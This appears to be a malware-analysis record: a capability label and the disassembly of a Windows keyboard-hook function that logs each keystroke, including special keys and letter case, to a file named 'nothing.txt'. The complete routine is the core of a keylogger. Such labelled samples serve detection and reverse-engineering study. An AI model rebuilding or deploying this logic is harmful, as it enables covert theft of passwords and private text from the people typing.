Function at 0x1400013e6
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xf0], ecx
mov qword [rbp + 0xf8], rdx
mov qword [rbp + 0x100], r8
cmp dword [rbp + 0xf0], 0
js 0x140001742
cmp qword [rbp + 0xf8], 0x100
je 0x140001435
cmp qword [rbp + 0xf8], 0x104
jne 0x140001742
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov eax, dword [rax]
mov dword [rbp + 0xd4], eax
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x8000
mov dword [rbp + 0xd0], eax
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
mov dword [rbp + 0xcc], eax
mov dword [rbp + 0xb9], 0
mov dword [rbp + 0xbc], 0
mov eax, dword [rbp + 0xd4]
sub eax, 8
cmp eax, 0x73
ja case.0x1400014ca.10
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x140008018]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x140008018]
add rax, rdx
jmp rax
lea rax, [rbp + 0xb9]
mov dword [rax], 0x5d53425b
mov byte [rax + 4], 0
jmp 0x1400016b1
lea rax, [rbp + 0xb9]
mov dword [rax], 0x5d42545b
mov byte [rax + 4], 0
jmp 0x1400016b1
lea rax, [rbp + 0xb9]
mov word [rax], 0xa
jmp 0x1400016b1
lea rax, [rbp + 0xb9]
mov dword [rax], 0x5d53455b
mov byte [rax + 4], 0
jmp 0x1400016b1
lea rax, [rbp + 0xb9]
mov dword [rax], 0x4e49575b
mov word [rax + 4], 0x5d
jmp 0x1400016b1
lea rax, [rbp + 0xb9]
mov dword [rax], 0x544c415b
mov word [rax + 4], 0x5d
jmp 0x1400016b1
mov dword [rbp + 0xb9], 0x5254435b
mov dword [rbp + 0xbc], 0x5d4c52
jmp 0x1400016b1
mov dword [rbp + 0xb9], 0x52414c5b
mov dword [rbp + 0xbc], 0x5d5252
jmp 0x1400016b1
mov dword [rbp + 0xb9], 0x5241525b
mov dword [rbp + 0xbc], 0x5d5252
jmp 0x1400016b1
mov dword [rbp + 0xb9], 0x5241555b
mov dword [rbp + 0xbc], 0x5d5252
jmp 0x1400016b1
mov dword [rbp + 0xb9], 0x5241445b
mov dword [rbp + 0xbc], 0x5d5252
jmp 0x1400016b1
mov eax, dword [rbp + 0xd4]
lea edx, [rax - 0x6f]
lea rax, [rbp + 0xb9]
mov r8d, edx
lea rdx, str._F_d_
mov rcx, rax
call sym.sprintf
jmp 0x1400016b1
mov dword [rbp + 0xb9], 0x5547505b
mov dword [rbp + 0xbc], 0x5d5055
jmp 0x1400016b1
mov dword [rbp + 0xb9], 0x4447505b
mov dword [rbp + 0xbc], 0x5d4e44
jmp 0x1400016b1
mov dword [rbp + 0xb9], 0x4d4f485b
mov dword [rbp + 0xbc], 0x5d454d
jmp 0x1400016b1
lea rax, [rbp + 0xb9]
mov dword [rax], 0x444e455b
mov word [rax + 4], 0x5d
jmp 0x1400016b1
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
mov rax, qword [rbp + 0xd8]
mov edx, dword [rax + 4]
lea r8, [rbp + 0xb6]
lea rcx, [rbp - 0x50]
mov eax, dword [rbp + 0xd4]
mov dword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_ToAscii]
call rax
mov dword [rbp + 0xc8], eax
cmp dword [rbp + 0xc8], 1
jne 0x1400016b0
movzx eax, word [rbp + 0xb6]
mov byte [rbp + 0xb9], al
nop
cmp dword [rbp + 0xd0], 0
jne 0x1400016e9
cmp dword [rbp + 0xcc], 0
jne 0x1400016e9
movzx eax, byte [rbp + 0xb9]
cmp al, 0x40
jle 0x1400016e9
movzx eax, byte [rbp + 0xb9]
cmp al, 0x5a
jg 0x1400016e9
movzx eax, byte [rbp + 0xb9]
add eax, 0x20
mov byte [rbp + 0xb9], al
lea rax, [0x140008006]
mov rdx, rax
lea rax, str.nothing.txt
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xc0], rax
cmp qword [rbp + 0xc0], 0
je 0x140001742
lea rdx, [rbp + 0xb9]
mov rax, qword [rbp + 0xc0]
mov r8, rdx
lea rdx, [0x140008014]
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sym.fclose
mov rcx, qword [rbp + 0x100]
mov rdx, qword [rbp + 0xf8]
mov eax, dword [rbp + 0xf0]
mov r9, rcx
mov r8, rdx
mov edx, eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
add rsp, 0x160
pop rbp
ret